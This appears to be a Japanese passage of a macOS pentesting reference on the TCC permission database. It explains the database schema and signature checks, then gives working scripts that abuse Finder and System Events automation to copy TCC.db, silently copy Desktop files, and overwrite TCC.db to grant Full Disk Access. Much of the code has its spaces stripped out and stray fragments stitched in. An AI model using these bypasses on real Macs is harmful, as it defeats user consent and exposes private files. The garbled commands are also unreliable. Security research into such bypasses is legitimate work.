**TCC(Transparency, Consent, and Control)**は、アプリケーションの権限を規制するセキュリティプロトコルです。その主な役割は、位置情報サービス、連絡先、写真、マイク、カメラ、アクセシビリティ、およびフルディスクアクセスなどの機密機能を保護することです。TCCは、これらの要素へのアプリのアクセスを許可する前に明示的なユーザーの同意を義務付けることにより、プライバシーを強化し、ユーザーがデータを制御できるようにします。
sqlite3~/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite>.schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite>selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Check user approved permissions for telegramsqlite>select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite>select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
sqlite3/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite>.schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite>selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Get all FDAsqlite> select service, client, auth_value, auth_reason from access where service = "kTCCServiceSystemPolicyAllFiles" and auth_value=2;
# Check user approved permissions for telegramsqlite>select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite>select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><!-- Label for the job --><key>Label</key><string>com.example.yourbinary</string><!-- The path to the executable --><key>Program</key><string>/path/to/binary</string><!-- Arguments to pass to the executable (if any) --><key>ProgramArguments</key><array><string>arg1</string><string>arg2</string></array><!-- Run at load --><key>RunAtLoad</key><true/><!-- Keep the job alive, restart if necessary --><key>KeepAlive</key><true/><!-- Standard output and error paths (optional) --><key>StandardOutPath</key><string>/tmp/YourBinary.stdout</string><key>StandardErrorPath</key><string>/tmp/YourBinary.stderr</string></dict></plist>
auth_value には異なる値があります: denied(0), unknown(1), allowed(2), or limited(3).
auth_reason には以下の値が入ります: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
# Query to get cserq in printable hexselect service, client, hex(csreq) from access where auth_value=2;# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"echo"$BLOB"|xxd-r-p>terminal-csreq.bincsreq-r--t<terminal-csreq.bin# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign-d-r-/Applications/Utilities/Terminal.app/2>&1|awk-F ' => ' '/designated/{print $2}')echo"$REQ_STR"|csreq-r--b/tmp/csreq.binREQ_HEX=$(xxd-p/tmp/csreq.bin|tr-d '\n')echo"X'$REQ_HEX'"
# You can reset all the permissions given to an application withtccutilresetAllapp.some.id# Reset the permissions granted to all appstccutilresetAll
TCC 署名チェック
TCC データベースはアプリケーションの Bundle ID を保存しますが、許可を使用するよう要求するアプリが正しいものであることを確認するために、署名に関する情報も保存します。
# From sqlitesqlite>selectservice,client,hex(csreq) fromaccesswhereauth_value=2;#Get csreq# From bashecho FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checkscsreq-t-r/tmp/telegram_csreq.bin(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
xattrDesktop/private.txtcom.apple.macl# Check extra access to the file## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_readDesktop/private.txtFilename,Header,AppUUID"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3# Get the UUID of the appotool-l/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal|grepuuiduuid769FD8F1-90E0-3206-808C-A8947BEBD6C3
Finder は、常に FDA を持っているアプリケーションです(UI に表示されなくても)、そのため、オートメーション権限を持っている場合は、その権限を悪用していくつかのアクションを実行させることができます。
この場合、あなたのアプリは com.apple.Finder 上の kTCCServiceAppleEvents 権限が必要です。
# This AppleScript will copy the system TCC database into /tmposascript<<EODtellapplication"Finder"set homeFolder topath to home folder asstringset sourceFile to (homeFolder &"Library:Application Support:com.apple.TCC:TCC.db") asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
osascript<<EODtellapplication"Finder"set sourceFile toPOSIX file"/Library/Application Support/com.apple.TCC/TCC.db"asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND_STRING" to theScript end tell execute it end tell activate end tell EOD
Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
</details>
**スクリプトエディターアプリ**でも同じことが起こります。Finderを制御できますが、AppleScriptを使用してスクリプトを実行することはできません。
### Automation (SE) to some TCC
**システムイベント**はフォルダアクションを作成でき、フォルダアクションは一部のTCCフォルダにアクセスできます(デスクトップ、ドキュメント&ダウンロード)。したがって、次のようなスクリプトを使用してこの動作を悪用することができます。
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD
osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"
# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true
-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"
-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath
-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if
-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD
# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"
System Events 上での自動化 + アクセシビリティ(kTCCServicePostEvent)を使用すると、プロセスにキーストロークを送信できます。これにより、Finderを悪用してユーザーのTCC.dbを変更したり、FDAを任意のアプリに付与したりできます(ただし、これにはパスワードが求められる場合があります)。
Finder によるユーザーの TCC.db の上書きの例:
-- store the TCC.db file to copy in /tmposascript <<EOFtellapplication"System Events"-- Open Findertellapplication"Finder"toactivate-- Open the /tmp directorykeystroke"g" using {command down, shift down}delay1keystroke"/tmp"delay1keystroke returndelay1-- Select and copy the filekeystroke"TCC.db"delay1keystroke"c" using {command down}delay1-- Resolve $HOME environment variableset homePath tosystem attribute"HOME"-- Navigate to the Desktop directory under $HOMEkeystroke"g" using {command down, shift down}delay1keystroke homePath &"/Library/Application Support/com.apple.TCC"delay1keystroke returndelay1-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke"TCC.db"delay1keystroke returndelay1key code51 using {command down}delay1-- Paste the filekeystroke"v" using {command down}end tellEOF